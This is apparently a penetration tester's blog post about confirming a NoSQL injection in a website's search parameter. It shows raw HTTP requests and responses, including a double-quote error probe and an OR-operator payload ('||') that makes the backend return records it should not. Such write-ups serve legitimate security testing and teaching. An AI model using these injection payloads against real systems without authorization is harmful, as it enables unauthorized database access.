SQL or NoSQL injection?

13th Sep 2017

Finding a SQL injection is always a joy: it's one of the most trivial vulnerability to exploit and it's very easy to provide a valid POC. However this time I was having some troubles to find a valid proof: the remote server was simply dropping the connection with a 500 error.
To complete the task I had to think about the box and take a look at the big picture.

Some background info

I was performing a security assessment when I saw that the search feature was "sensible" to the double quote:


GET /search?searchText=test&start=0 HTTP/1.1

HTTP/1.1 200 200
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 14904

{"metrics":{"totalResults":"967","totalTime":"0.065"},"documents": [...snip...] }

GET /search?searchText="&start=0 HTTP/1.1

HTTP/1.1 500 500
Content-Length: 3426
Vary: Origin
Connection: close
Content-Type: text/html; charset=utf-8

So, given that the server was getting an error with a double quote, I immediately launched SQLmap, awaiting to see the whole list of databases and submit a report.
I let it ran and... nothing, nichts, nada.
I was only able to trigger errors, but not to extract anything with any technique (blind, timed etc etc).

An error is not enough

This is such a bummer: the application seemed vulnerable, but there's the small chance that the 500 error was triggered on purpose to block suspicious requests. I was skeptical, because in that case I should got a 403 error or a more concise response, not a full rendered HTML page.

What I needed to find was a valid SQL query, inject some chars in it until it evaluated to true and retrieved more records than it should.
Time to toss automatic scripts and start from scratch.

Looking at the whole picture

Before continuing I decided to take a closer look at the site.
First of all the technology used: the site seemed to be interely built using Angular, a pretty solid javascript library.
Then the search results: everything was a big JSON collection.

What if... the backend database was actually a NoSQL one?
It was time to explore this possibility, too.

Using Burp repeater I was able to observe that the script was breaking only if one double quote was used. If more were passed, the script was working fine.
That led me to think that the search param was simply included inside the database query (NoSQL queries are very close to plain javascript functions). That would explain why the double quote wasn't breaking the script.

Time for action

So, let's confirm my hunch (and before continuing: no, NoSQLmap wasn't helpful).
First of all I had to find a valid query as base request:


GET /search?searchText=somethingvalid HTTP/1.1

HTTP/1.1 200 200
Connection: close
Content-Type: application/json;charset=UTF-8
{"metrics":{"totalResults":"28","totalTime":"0.05"},"documents": [... snip ...] }

Ok, searching for somethingvalid (redacted search string) will produce 28 results.
Now let's try with somethin invalid:


GET /search?searchText=nothere HTTP/1.1

HTTP/1.1 200 200
Connection: close
Content-Type: application/json;charset=UTF-8
{"metrics":{"totalResults":"0","totalTime":"0.05"},"documents": [... snip ...] }

Good, no results.

Finally let's put everything together:


GET /search?searchText=nothere%20||%20somethingvalid HTTP/1.1

HTTP/1.1 200 200
Connection: close
Content-Type: application/json;charset=UTF-8
{"metrics":{"totalResults":"28","totalTime":"0.05"},"documents": [... snip ...] }

BAM! The same 28 results were returned, meaning that the OR operator || was actually evaluated.

Comments:

Blog Comments powered by Disqus.